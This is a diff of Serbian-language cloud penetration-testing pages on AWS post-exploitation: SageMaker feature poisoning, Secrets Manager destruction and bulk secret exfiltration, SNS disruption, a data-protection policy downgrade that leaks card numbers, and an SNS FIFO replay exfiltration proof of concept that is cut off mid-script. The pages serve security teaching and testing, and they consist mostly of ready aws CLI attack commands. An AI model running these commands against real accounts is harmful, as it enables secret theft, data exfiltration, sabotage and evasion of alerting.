+aws sagemaker create-feature-group --region $REGION --feature-group-name "$FG" --record-identifier-feature-name entity_id --event-time-feature-name event_time --feature-definitions "[{\"FeatureName\":\"entity_id\",\"FeatureType\":\"String\"},{\"FeatureName\":\"event_time\",\"FeatureType\":\"String\"},{\"FeatureName\":\"risk_score\",\"FeatureType\":\"Fractional\"}]" --online-store-config "{\"EnableOnlineStore\":true}" --role-arn "$ROLE_ARN"
+echo "Waiting for feature group to be in Created state..."
+for i in $(seq 1 40); do
+ST=$(aws sagemaker describe-feature-group --region $REGION --feature-group-name "$FG" --query FeatureGroupStatus --output text || true)
+echo $ST; [ "$ST" = "Created" ] && break; sleep 15
+done
+fi
+```
+2) Ubaci/prepiši online zapis (poison)
+```bash
+NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
+cat > /tmp/put.json << JSON
+{
+"FeatureGroupName": "$FG",
+"Record": [
+{"FeatureName": "entity_id", "ValueAsString": "user-123"},
+{"FeatureName": "event_time", "ValueAsString": "$NOW"},
+{"FeatureName": "risk_score", "ValueAsString": "0.99"}
+],
+"TargetStores": ["OnlineStore"]
+}
+JSON
+aws sagemaker-featurestore-runtime put-record --region $REGION --cli-input-json file:///tmp/put.json
+```
+3) Pročitajte zapis da biste potvrdili manipulaciju
+```bash
+aws sagemaker-featurestore-runtime get-record --region $REGION --feature-group-name "$FG" --record-identifier-value-as-string user-123 --feature-name risk_score --query "Record[0].ValueAsString"
+```
+Očekivano: risk_score returns 0.99 (attacker-set), dokazujući sposobnost promene online features koje koriste models.
+
+## Uticaj
+- Real-time integrity attack: manipuliše features koje koriste production models bez diranja endpoints/models.
+- Rizik poverljivosti: čitanje osetljivih features putem GetRecord iz OnlineStore.

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md

@@ -1,130 +0,0 @@
-# AWS - Secrets Manager Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Secrets Manager
-
-Za više informacija pogledajte:
-
-{{#ref}}
-../aws-services/aws-secrets-manager-enum.md
-{{#endref}}
-
-### Read Secrets
-
-**secrets sami po sebi predstavljaju osetljive informacije**, [pogledajte privesc stranicu](../aws-privilege-escalation/aws-secrets-manager-privesc.md) da biste naučili kako da ih pročitate.
-
-### DoS Change Secret Value
-
-Promenom vrednosti secret-a možete izazvati **DoS svih sistema koji zavise od te vrednosti.**
-
-> [!WARNING]
-> Imajte na umu da se prethodne vrednosti takođe čuvaju, pa je jednostavno vratiti se na prethodnu vrednost.
-```bash
-# Requires permission secretsmanager:PutSecretValue
-aws secretsmanager put-secret-value \
---secret-id MyTestSecret \
---secret-string "{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}"
-```
-### DoS Change KMS key
-
-Ako napadač ima dozvolu secretsmanager:UpdateSecret, može da konfiguriše secret da koristi KMS key u vlasništvu napadača. Taj key je inicijalno podešen tako da svako može da mu pristupi i koristi ga, pa je moguće ažurirati secret novim key-jem. Ako key nije bio dostupan, secret ne bi mogao biti ažuriran.
-
-Nakon promene key-ja za secret, napadač menja konfiguraciju svog key-ja tako da samo on može da mu pristupi. Na taj način, u narednim verzijama secreta, one će biti enkriptovane novim key-jem, i pošto nema pristupa tom key-ju, mogućnost preuzimanja secreta će biti izgubljena.
-
-Važno je napomenuti da će ta nedostupnost nastupiti samo u kasnijim verzijama, nakon što se sadržaj secreta promeni, jer je trenutna verzija i dalje enkriptovana originalnim KMS key-jem.
-```bash
-aws secretsmanager update-secret \
---secret-id MyTestSecret \
---kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE
-```
-### DoS Deleting Secret
-
-Minimalan broj dana za brisanje secret-a je 7
-```bash
-aws secretsmanager delete-secret \
---secret-id MyTestSecret \
---recovery-window-in-days 7
-```
-## secretsmanager:RestoreSecret
-
-Moguće je vratiti secret, što omogućava obnavljanje secrets koji su zakazani za brisanje, pošto je minimalni period brisanja secrets 7 dana, a maksimalni 30 dana. U kombinaciji sa permisijom secretsmanager:GetSecretValue, ovo omogućava preuzimanje njihovog sadržaja.
-
-Da biste povratili secret koji je u procesu brisanja, možete koristiti sledeću komandu:
-```bash
-aws secretsmanager restore-secret \
---secret-id <Secret_Name>
-```
-## secretsmanager:DeleteResourcePolicy
-
-Ova akcija omogućava brisanje politike resursa koja kontroliše ko može da pristupi tajni. Ovo može dovesti do DoS-a ako je politika resursa konfigurisana da dopušta pristup određenom skupu korisnika.
-
-Da biste obrisali politiku resursa:
-```bash
-aws secretsmanager delete-resource-policy \
---secret-id <Secret_Name>
-```
-## secretsmanager:UpdateSecretVersionStage
-
-Stanja tajne se koriste za upravljanje verzijama tajne. AWSCURRENT označava aktivnu verziju koju koriste aplikacije, AWSPREVIOUS čuva prethodnu verziju kako biste se mogli vratiti unazad ako je potrebno, a AWSPENDING se koristi u procesu rotacije da pripremi i verifikuje novu verziju pre nego što je učini trenutnom.
-
-Aplikacije uvek čitaju verziju označenu sa AWSCURRENT. Ako neko premesti tu oznaku na pogrešnu verziju, aplikacije će koristiti nevažeće kredencijale i mogu zakazati.
-
-AWSPREVIOUS se ne koristi automatski. Međutim, ako se AWSCURRENT ukloni ili nepravilno dodeli, može izgledati da sve i dalje radi sa prethodnom verzijom.
-```bash
-aws secretsmanager update-secret-version-stage \
---secret-id <your-secret-name-or-arn> \
---version-stage AWSCURRENT \
---move-to-version-id <target-version-id> \
---remove-from-version-id <previous-version-id>
-```
-{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
-
-### Mass Secret Exfiltration preko BatchGetSecretValue (do 20 po pozivu)
-
-Iskoristite Secrets Manager BatchGetSecretValue API da preuzmete do 20 secrets u jednom zahtevu. Ovo može dramatično smanjiti broj API poziva u poređenju sa ponavljanjem GetSecretValue za svaki secret. Ako se koriste filteri (tags/name), potrebna je i dozvola ListSecrets. CloudTrail i dalje beleži po jedan GetSecretValue događaj za svaki secret preuzet u batch-u.
-
-Potrebne dozvole
-- secretsmanager:BatchGetSecretValue
-- secretsmanager:GetSecretValue for each target secret
-- secretsmanager:ListSecrets if using --filters
-- kms:Decrypt on the CMKs used by the secrets (if not using aws/secretsmanager)
-
-> [!WARNING]
-> Imajte na umu da sama dozvola `secretsmanager:BatchGetSecretValue` nije dovoljna za preuzimanje secrets — takođe vam je potrebna `secretsmanager:GetSecretValue` za svaki secret koji želite da preuzmete.
-
-Exfiltrate pomoću eksplicitne liste
-```bash
-aws secretsmanager batch-get-secret-value \
---secret-id-list <secret1> <secret2> <secret3> \
---query 'SecretValues[].{Name:Name,Version:VersionId,Val:SecretString}'
-```
-Exfiltrate preko filtera (tag key/value ili prefiks imena)
-```bash
-# By tag key
-aws secretsmanager batch-get-secret-value \
---filters Key=tag-key,Values=env \
---max-results 20 \
---query 'SecretValues[].{Name:Name,Val:SecretString}'
-
-# By tag value
-aws secretsmanager batch-get-secret-value \
---filters Key=tag-value,Values=prod \
---max-results 20
-
-# By name prefix
-aws secretsmanager batch-get-secret-value \
---filters Key=name,Values=MyApp
-```
-Rukovanje delimičnim neuspesima
-```bash
-# Inspect the Errors list for AccessDenied/NotFound and retry/adjust filters
-aws secretsmanager batch-get-secret-value --secret-id-list <id1> <id2> <id3>
-```
-Uticaj
-- Brzo “smash-and-grab” preuzimanje mnogih tajni uz manje API poziva, što potencijalno zaobilazi alerting podešen na skokove GetSecretValue.
-- CloudTrail logovi i dalje uključuju po jedan GetSecretValue događaj za svaku tajnu dohvaćenu u seriji.

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation/README.md

@@ -0,0 +1,130 @@
+# AWS - Secrets Manager Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Secrets Manager
+
+Za više informacija pogledajte:
+
+{{#ref}}
+../../aws-services/aws-secrets-manager-enum.md
+{{#endref}}
+
+### Čitanje tajni
+
+**Tajne su same po sebi osetljive informacije**, [pogledajte privesc stranicu](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md) da naučite kako ih pročitati.
+
+### DoS Promena vrednosti tajne
+
+Promenom vrednosti tajne možete izazvati **DoS svih sistema koji zavise od te vrednosti.**
+
+> [!WARNING]
+> Imajte na umu da se prethodne vrednosti takođe čuvaju, tako da je lako vratiti se na prethodnu vrednost.
+```bash
+# Requires permission secretsmanager:PutSecretValue
+aws secretsmanager put-secret-value \
+--secret-id MyTestSecret \
+--secret-string "{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}"
+```
+### DoS Change KMS key
+
+Ako napadač ima dozvolu secretsmanager:UpdateSecret, može konfigurisati secret da koristi KMS key u vlasništvu napadača. Taj KMS key je inicijalno podešen tako da svako može da mu pristupi i koristi ga, pa je moguće ažurirati secret novim ključem. Ako ključ nije bio dostupan, secret se ne bi mogao ažurirati.
+
+Nakon promene key‑a za secret, napadač menja konfiguraciju svog key‑a tako da samo on može da mu pristupi. Na taj način, u narednim verzijama secreta, one će biti šifrovane novim key‑om, i pošto neće postojati pristup tom key‑u, mogućnost preuzimanja secreta biće izgubljena.
+
+Važno je napomenuti da će ta nedostupnost nastupiti samo u kasnijim verzijama, nakon što se sadržaj secreta promeni, jer je trenutna verzija još uvek šifrovana originalnim KMS key‑em.
+```bash
+aws secretsmanager update-secret \
+--secret-id MyTestSecret \
+--kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE
+```
+### DoS Brisanje tajne
+
+Minimalan broj dana za brisanje tajne je 7.
+```bash
+aws secretsmanager delete-secret \
+--secret-id MyTestSecret \
+--recovery-window-in-days 7
+```
+## secretsmanager:RestoreSecret
+
+Moguće je vratiti tajnu, što omogućava obnavljanje tajni koje su zakazane za brisanje, pošto je minimalni period brisanja 7 dana, a maksimalni 30 dana. U kombinaciji sa dozvolom secretsmanager:GetSecretValue, ovo omogućava pristup njihovom sadržaju.
+
+Da biste povratili tajnu koja je u procesu brisanja, možete koristiti sledeću komandu:
+```bash
+aws secretsmanager restore-secret \
+--secret-id <Secret_Name>
+```
+## secretsmanager:DeleteResourcePolicy
+
+Ova akcija omogućava brisanje politike resursa koja kontroliše ko može da pristupi tajni. To može dovesti do DoS-a ako je politika resursa konfigurisana da dozvoli pristup određenom skupu korisnika.
+
+Da biste izbrisali politiku resursa:
+```bash
+aws secretsmanager delete-resource-policy \
+--secret-id <Secret_Name>
+```
+## secretsmanager:UpdateSecretVersionStage
+
+Stanja tajne koriste se za upravljanje verzijama tajne. AWSCURRENT označava aktivnu verziju koju koriste aplikacije, AWSPREVIOUS čuva prethodnu verziju kako biste se mogli vratiti ako je potrebno, a AWSPENDING se koristi u procesu rotacije da pripremi i verifikuje novu verziju pre nego što je učini trenutnom.
+
+Aplikacije uvek čitaju verziju označenu sa AWSCURRENT. Ako neko premesti tu oznaku na pogrešnu verziju, aplikacije će koristiti neispravne kredencijale i mogu da otkažu.
+
+AWSPREVIOUS se ne koristi automatski. Međutim, ako se AWSCURRENT ukloni ili pogrešno preusmeri, može izgledati da sve i dalje radi sa prethodnom verzijom.
+```bash
+aws secretsmanager update-secret-version-stage \
+--secret-id <your-secret-name-or-arn> \
+--version-stage AWSCURRENT \
+--move-to-version-id <target-version-id> \
+--remove-from-version-id <previous-version-id>
+```
+{{#include ../../../../banners/hacktricks-training.md}}
+
+
+
+
+
+### Mass Secret Exfiltration via BatchGetSecretValue (up to 20 per call)
+
+Iskoristite Secrets Manager BatchGetSecretValue API da dohvatite do 20 secrets u jednom zahtevu. Ovo može drastično smanjiti broj API poziva u poređenju sa iterativnim pozivom GetSecretValue za svaki secret. Ako se koriste filters (tags/name), potrebna je i dozvola ListSecrets. CloudTrail i dalje beleži jedan GetSecretValue događaj po svakom secret-u dohvaćenom u batch-u.
+
+Zahtevane dozvole
+- secretsmanager:BatchGetSecretValue
+- secretsmanager:GetSecretValue for each target secret
+- secretsmanager:ListSecrets if using --filters
+- kms:Decrypt on the CMKs used by the secrets (if not using aws/secretsmanager)
+
+> [!WARNING]
+> Imajte na umu da dozvola `secretsmanager:BatchGetSecretValue` nije dovoljna za dohvat tajni — takođe vam treba `secretsmanager:GetSecretValue` za svaki secret koji želite da dohvatite.
+
+Exfiltrate by explicit list
+```bash
+aws secretsmanager batch-get-secret-value \
+--secret-id-list <secret1> <secret2> <secret3> \
+--query 'SecretValues[].{Name:Name,Version:VersionId,Val:SecretString}'
+```
+Exfiltrate pomoću filtera (tag key/value ili name prefix)
+```bash
+# By tag key
+aws secretsmanager batch-get-secret-value \
+--filters Key=tag-key,Values=env \
+--max-results 20 \
+--query 'SecretValues[].{Name:Name,Val:SecretString}'
+
+# By tag value
+aws secretsmanager batch-get-secret-value \
+--filters Key=tag-value,Values=prod \
+--max-results 20
+
+# By name prefix
+aws secretsmanager batch-get-secret-value \
+--filters Key=name,Values=MyApp
+```
+Rukovanje delimičnim neuspesima
+```bash
+# Inspect the Errors list for AccessDenied/NotFound and retry/adjust filters
+aws secretsmanager batch-get-secret-value --secret-id-list <id1> <id2> <id3>
+```
+Uticaj
+- Brzo “smash-and-grab” preuzimanje velikog broja tajni sa manje API calls, potencijalno zaobilaženje sistema za upozoravanje podešenog na skokove GetSecretValue.
+- CloudTrail logovi i dalje uključuju po jedan GetSecretValue događaj po tajni preuzetoj u batch-u.

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation/README.md

@@ -1,67 +1,69 @@
 # AWS - SES Post Exploitation
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## SES
 
 Za više informacija pogledajte:
 
 {{#ref}}
-../aws-services/aws-ses-enum.md
+../../aws-services/aws-ses-enum.md
 {{#endref}}
 
 ### `ses:SendEmail`
 
-Pošaljite email.
+Pošaljite e-poštu.
 ```bash
 aws ses send-email --from sender@example.com --destination file://emails.json --message file://message.json
 aws sesv2 send-email --from sender@example.com --destination file://emails.json --message file://message.json
 ```
-Još uvek za testiranje.
+Još nije testirano.
 
 ### `ses:SendRawEmail`
 
-Pošaljite email.
+Pošaljite e-poštu.
 ```bash
 aws ses send-raw-email --raw-message file://message.json
 ```
-Još uvek za testiranje.
+Još treba testirati.
 
 ### `ses:SendTemplatedEmail`
 
-Pošaljite email na osnovu šablona.
+Pošaljite e-poruku zasnovanu na šablonu.
 ```bash
 aws ses  send-templated-email --source <value> --destination <value> --template <value>
 ```
-Još uvek za testiranje.
+Još nije testirano.
 
 ### `ses:SendBulkTemplatedEmail`
 
-Pošaljite email na više odredišta
+Pošaljite e-poruku na više odredišta
 ```bash
 aws ses send-bulk-templated-email --source <value> --template <value>
 ```
-Još uvek za testiranje.
+Još treba testirati.
 
 ### `ses:SendBulkEmail`
 
-Pošaljite email na više odredišta.
+Pošaljite e-poruku na više odredišta.
 ```
 aws sesv2 send-bulk-email --default-content <value> --bulk-email-entries <value>
 ```
 ### `ses:SendBounce`
 
-Pošaljite **bounce email** preko primljenog emaila (ukazujući da email nije mogao biti primljen). Ovo se može uraditi **do 24h nakon prijema** emaila.
+Pošaljite **bounce email** za primljenu poruku (koja označava da poruka nije mogla biti dostavljena). Ovo se može uraditi **samo do 24h nakon primanja** poruke.
 ```bash
 aws ses send-bounce --original-message-id <value> --bounce-sender <value> --bounced-recipient-info-list <value>
 ```
+Još treba testirati.
+
 ### `ses:SendCustomVerificationEmail`
 
-Ovo će poslati prilagođeni verifikacioni email. Možda će vam biti potrebne dozvole i za kreiranje šablona emaila.
+Ovo će poslati prilagođenu verifikacionu e-poruku. Možda će vam takođe biti potrebne dozvole za kreiranje predloška e-poruke.
 ```bash
 aws ses send-custom-verification-email --email-address <value> --template-name <value>
 aws sesv2 send-custom-verification-email --email-address <value> --template-name <value>
 ```
-Još uvek za testiranje.
+Još treba testirati.
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md

@@ -1,68 +0,0 @@
-# AWS - SNS Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## SNS
-
-Za više informacija:
-
-{{#ref}}
-../aws-services/aws-sns-enum.md
-{{#endref}}
-
-### Disrupt Messages
-
-U nekoliko slučajeva, SNS teme se koriste za slanje poruka platformama koje se prate (emailovi, slack poruke...). Ako napadač spreči slanje poruka koje upozoravaju na njegovo prisustvo u oblaku, mogao bi ostati neotkriven.
-
-### `sns:DeleteTopic`
-
-Napadač bi mogao obrisati celu SNS temu, uzrokujući gubitak poruka i utičući na aplikacije koje se oslanjaju na tu temu.
-```bash
-aws sns delete-topic --topic-arn <value>
-```
-**Potencijalni uticaj**: Gubitak poruka i prekid usluge za aplikacije koje koriste obrisanu temu.
-
-### `sns:Publish`
-
-Napadač bi mogao poslati zlonamerne ili neželjene poruke na SNS temu, što bi moglo izazvati oštećenje podataka, pokretanje nepredviđenih akcija ili iscrpljivanje resursa.
-```bash
-aws sns publish --topic-arn <value> --message <value>
-```
-**Potencijalni uticaj**: Oštećenje podataka, nepredviđene radnje ili iscrpljivanje resursa.
-
-### `sns:SetTopicAttributes`
-
-Napadač bi mogao da izmeni atribute SNS teme, što bi potencijalno moglo uticati na njene performanse, bezbednost ili dostupnost.
-```bash
-aws sns set-topic-attributes --topic-arn <value> --attribute-name <value> --attribute-value <value>
-```
-**Potencijalni uticaj**: Loše konfiguracije koje dovode do smanjenja performansi, bezbednosnih problema ili smanjenja dostupnosti.
-
-### `sns:Subscribe`, `sns:Unsubscribe`
-
-Napadač bi mogao da se prijavi ili odjavi sa SNS teme, potencijalno stičući neovlašćen pristup porukama ili ometajući normalno funkcionisanje aplikacija koje se oslanjaju na tu temu.
-```bash
-aws sns subscribe --topic-arn <value> --protocol <value> --endpoint <value>
-aws sns unsubscribe --subscription-arn <value>
-```
-**Potencijalni uticaj**: Neovlašćen pristup porukama, prekid usluge za aplikacije koje se oslanjaju na pogođenu temu.
-
-### `sns:AddPermission` , `sns:RemovePermission`
-
-Napadač bi mogao da dodeli neovlašćenim korisnicima ili uslugama pristup SNS temi, ili da opozove dozvole za legitimne korisnike, uzrokujući prekide u normalnom funkcionisanju aplikacija koje se oslanjaju na temu.
-```css
-aws sns add-permission --topic-arn <value> --label <value> --aws-account-id <value> --action-name <value>
-aws sns remove-permission --topic-arn <value> --label <value>
-```
-**Potencijalni uticaj**: Neovlašćen pristup temi, izlaganje poruka ili manipulacija temom od strane neovlašćenih korisnika ili servisa, ometanje normalnog funkcionisanja aplikacija koje se oslanjaju na temu.
-
-### `sns:TagResource` , `sns:UntagResource`
-
-Napadač bi mogao dodati, izmeniti ili ukloniti oznake sa SNS resursa, ometajući alokaciju troškova vaše organizacije, praćenje resursa i politike kontrole pristupa zasnovane na oznakama.
-```bash
-aws sns tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
-aws sns untag-resource --resource-arn <value> --tag-keys <key>
-```
-**Potencijalni uticaj**: Poremećaj u alokaciji troškova, praćenju resursa i politikama kontrole pristupa zasnovanim na oznakama.
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/README.md

@@ -0,0 +1,82 @@
+# AWS - SNS Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## SNS
+
+Za više informacija:
+
+{{#ref}}
+../../aws-services/aws-sns-enum.md
+{{#endref}}
+
+### Onemogućavanje slanja poruka
+
+U nekoliko slučajeva, SNS topics se koriste za slanje poruka ka platformama koje se nadgledaju (e-mailovi, slack poruke...). Ako napadač onemogući slanje poruka koje upozoravaju na njegovo prisustvo u oblaku, mogao bi ostati neotkriven.
+
+### `sns:DeleteTopic`
+
+Napadač može obrisati ceo SNS topic, što dovodi do gubitka poruka i utiče na aplikacije koje zavise od tog topica.
+```bash
+aws sns delete-topic --topic-arn <value>
+```
+**Potencijalni uticaj**: Gubitak poruka i prekid usluge za aplikacije koje koriste obrisani SNS topic.
+
+### `sns:Publish`
+
+Napadač bi mogao poslati zlonamerne ili neželjene poruke na SNS topic, što može dovesti do korupcije podataka, pokretanja neželjenih radnji ili iscrpljivanja resursa.
+```bash
+aws sns publish --topic-arn <value> --message <value>
+```
+**Potencijalni uticaj**: Oštećenje podataka, neželjene radnje ili iscrpljivanje resursa.
+
+### `sns:SetTopicAttributes`
+
+Napadač bi mogao promeniti atribute SNS teme, što bi potencijalno uticalo na njene performanse, bezbednost ili dostupnost.
+```bash
+aws sns set-topic-attributes --topic-arn <value> --attribute-name <value> --attribute-value <value>
+```
+**Potencijalni uticaj**: Neodgovarajuće konfiguracije koje dovode do smanjenja performansi, bezbednosnih problema ili smanjene dostupnosti.
+
+### `sns:Subscribe` , `sns:Unsubscribe`
+
+Napadač bi mogao da se pretplati ili odjavi sa SNS topic-a, potencijalno dobijajući neovlašćen pristup porukama ili ometajući normalno funkcionisanje aplikacija koje zavise od tog topica.
+```bash
+aws sns subscribe --topic-arn <value> --protocol <value> --endpoint <value>
+aws sns unsubscribe --subscription-arn <value>
+```
+**Potencijalni uticaj**: Neovlašćen pristup porukama, prekid usluge za aplikacije koje se oslanjaju na pogođeni topic.
+
+### `sns:AddPermission` , `sns:RemovePermission`
+
+Napadač bi mogao dodeliti neovlašćenim korisnicima ili servisima pristup SNS topic-u, ili opozvati ovlašćenja legitimnim korisnicima, što bi prouzrokovalo poremećaje u normalnom funkcionisanju aplikacija koje se oslanjaju na taj topic.
+```bash
+aws sns add-permission --topic-arn <value> --label <value> --aws-account-id <value> --action-name <value>
+aws sns remove-permission --topic-arn <value> --label <value>
+```
+**Potencijalni uticaj**: Neovlašćen pristup temi, izlaganje poruka ili manipulacija temom od strane neovlašćenih korisnika ili servisa, ometanje normalnog rada aplikacija koje se oslanjaju na temu.
+
+### `sns:TagResource` , `sns:UntagResource`
+
+Napadač može dodati, izmeniti ili ukloniti tagove sa SNS resursa, što može narušiti alokaciju troškova vaše organizacije, praćenje resursa i politike kontrole pristupa zasnovane na tagovima.
+```bash
+aws sns tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
+aws sns untag-resource --resource-arn <value> --tag-keys <key>
+```
+**Potencijalni uticaj**: Poremećaj alokacije troškova, praćenja resursa i politika kontrole pristupa zasnovanih na tagovima.
+
+### Više SNS Post-Exploitation Techniques
+
+{{#ref}}
+aws-sns-data-protection-bypass.md
+{{#endref}}
+
+{{#ref}}
+aws-sns-fifo-replay-exfil.md
+{{#endref}}
+
+{{#ref}}
+aws-sns-firehose-exfil.md
+{{#endref}}
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-data-protection-bypass.md

@@ -0,0 +1,92 @@
+# AWS - SNS Message Data Protection: zaobilaženje putem Policy Downgrade
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+Ako imate `sns:PutDataProtectionPolicy` na topic-u, možete promeniti njegov Message Data Protection policy sa Deidentify/Deny na Audit-only (ili ukloniti Outbound kontrole) tako da osetljive vrednosti (npr. brojevi kreditnih kartica) budu isporučene neizmenjene vašoj subscription.
+
+## Zahtevi
+- Dozvole na ciljnom topic-u za pozivanje `sns:PutDataProtectionPolicy` (i obično `sns:Subscribe` ako želite da primate podatke).
+- Standardni SNS topic (Message Data Protection podržan).
+
+## Koraci napada
+
+- Promenljive
+
+```bash
+REGION=us-east-1
+```
+
+1) Kreirajte standardni topic i napadačku SQS queue, i dozvolite samo ovom topic-u da šalje u queue
+
+```bash
+TOPIC_ARN=$(aws sns create-topic --name ht-dlp-bypass-$(date +%s) --region $REGION --query TopicArn --output text)
+Q_URL=$(aws sqs create-queue --queue-name ht-dlp-exfil-$(date +%s) --region $REGION --query QueueUrl --output text)
+Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)
+
+aws sqs set-queue-attributes --queue-url "$Q_URL" --region $REGION --attributes Policy=Version:2012-10-17
+```
+
+2) Priložite data protection policy koja maskira brojeve kreditnih kartica u outbound porukama
+
+```bash
+cat > /tmp/ht-dlp-policy.json <<'JSON'
+{
+"Name": "__ht_dlp_policy",
+"Version": "2021-06-01",
+"Statement": [{
+"Sid": "MaskCCOutbound",
+"Principal": ["*"],
+"DataDirection": "Outbound",
+"DataIdentifier": ["arn:aws:dataprotection::aws:data-identifier/CreditCardNumber"],
+"Operation": { "Deidentify": { "MaskConfig": { "MaskWithCharacter": "#" } } }
+}]
+}
+JSON
+aws sns put-data-protection-policy --region $REGION --resource-arn "$TOPIC_ARN" --data-protection-policy "$(cat /tmp/ht-dlp-policy.json)"
+```
+
+3) Pretplatite napadačku queue i objavite poruku sa test CC brojem, proverite maskiranje
+
+```bash
+SUB_ARN=$(aws sns subscribe --region $REGION --topic-arn "$TOPIC_ARN" --protocol sqs --notification-endpoint "$Q_ARN" --query SubscriptionArn --output text)
+aws sns publish --region $REGION --topic-arn "$TOPIC_ARN" --message payment:{cc:4539894458086459}
+aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 15 --message-attribute-names All --attribute-names All
+```
+
+Očekivani isječak prikazuje maskiranje (hashovi):
+```json
+"Message" : "payment:{cc:################}"
+```
+4) Smanjite politiku na audit-only (bez deidentify/deny izjava koje utiču na Outbound)
+
+Za SNS, Audit statements moraju biti Inbound. Zamena politike sa Audit-only Inbound izjavom uklanja svaku Outbound de-identification, tako da poruke prolaze neizmenjene do pretplatnika.
+```bash
+cat > /tmp/ht-dlp-audit-only.json <<'JSON'
+{
+"Name": "__ht_dlp_policy",
+"Version": "2021-06-01",
+"Statement": [{
+"Sid": "AuditInbound",
+"Principal": ["*"],
+"DataDirection": "Inbound",
+"DataIdentifier": ["arn:aws:dataprotection::aws:data-identifier/CreditCardNumber"],
+"Operation": { "Audit": { "SampleRate": 99, "NoFindingsDestination": {} } }
+}]
+}
+JSON
+aws sns put-data-protection-policy --region $REGION --resource-arn "$TOPIC_ARN" --data-protection-policy "$(cat /tmp/ht-dlp-audit-only.json)"
+```
+
+5) Objavite istu poruku i proverite da je nemaskirana vrednost isporučena
+```bash
+aws sns publish --region $REGION --topic-arn "$TOPIC_ARN" --message payment:{cc:4539894458086459}
+aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 15 --message-attribute-names All --attribute-names All
+```
+Očekivani isječak prikazuje CC u čistom tekstu:
+```text
+4539894458086459
+```
+## Uticaj
+- Prebacivanje topic-a sa de-identification/deny na audit-only (ili uklanjanje Outbound kontrola) omogućava da PII/secrets prolaze neizmenjeni do attacker-controlled subscriptions, omogućavajući data exfiltration koja bi inače bila maskirana ili blokirana.
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-fifo-replay-exfil.md

@@ -0,0 +1,100 @@
+# SNS FIFO Archive Replay Exfiltration via Attacker SQS FIFO Subscription
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+Zloupotreba arhiviranja poruka na Amazon SNS FIFO topic-u za replay i exfiltrate prethodno objavljenih poruka na attacker-controlled SQS FIFO queue podešavanjem ReplayPolicy na subscription.
+
+- Servis: Amazon SNS (FIFO topics) + Amazon SQS (FIFO queues)
+- Zahtevi: Topic mora imati omogućen ArchivePolicy (message archiving). Attacker može Subscribe-ovati na topic i postaviti atribute na svoju subscription. Attacker kontroliše SQS FIFO queue i dozvoljava topic-u da šalje poruke.
+- Uticaj: Istorijske poruke (objavljene pre subscription) mogu biti isporučene attacker endpoint-u. Replayed deliveries su označene sa Replayed=true u SNS envelope-u.
+
+## Preduslovi
+- SNS FIFO topic sa omogućenim arhiviranjem: `ArchivePolicy` (npr. `{ "MessageRetentionPeriod": "2" }` za 2 dana).
+- Attacker ima dozvole za:
+- `sns:Subscribe` na ciljnom topic-u.
+- `sns:SetSubscriptionAttributes` na kreiranoj subscription-i.
+- Attacker ima SQS FIFO queue i može da priloži queue policy koji omogućava `sns:SendMessage` sa topic ARN-a.
+
+## Minimalne IAM dozvole
+- Na topic-u: `sns:Subscribe`.
+- Na subscription-u: `sns:SetSubscriptionAttributes`.
+- Na queue-u: `sqs:SetQueueAttributes` za policy, i queue policy koja dozvoljava `sns:SendMessage` sa topic ARN-a.
+
+## Napad: Replay arhiviranih poruka na attacker SQS FIFO
+Attacker subscribe-uje svoj SQS FIFO queue na victim SNS FIFO topic, zatim podešava `ReplayPolicy` na timestamp iz prošlosti (u okviru vremenskog perioda zadržavanja arhive). SNS odmah replay-uje odgovarajuće arhivirane poruke na novu subscription i označava ih sa `Replayed=true`.
+
+Notes:
+- Timestamp koji se koristi u `ReplayPolicy` mora biti >= topic-ovog `BeginningArchiveTime`. Ako je raniji, API vraća `Invalid StartingPoint value`.
+- Za SNS FIFO `Publish`, morate navesti `MessageGroupId` (i ili dedup ID ili omogućiti `ContentBasedDeduplication`).
+
+<details>
+<summary>End-to-end CLI POC (us-east-1)</summary>
+```bash
+REGION=us-east-1
+# Compute a starting point; adjust later to >= BeginningArchiveTime if needed
+TS_START=$(python3 - << 'PY'
+from datetime import datetime, timezone, timedelta
+print((datetime.now(timezone.utc) - timedelta(minutes=15)).strftime('%Y-%m-%dT%H:%M:%SZ'))
+PY
+)
+
+# 1) Create SNS FIFO topic with archiving (2-day retention)
+TOPIC_NAME=htreplay$(date +%s).fifo
+TOPIC_ARN=$(aws sns create-topic --region "$REGION" \
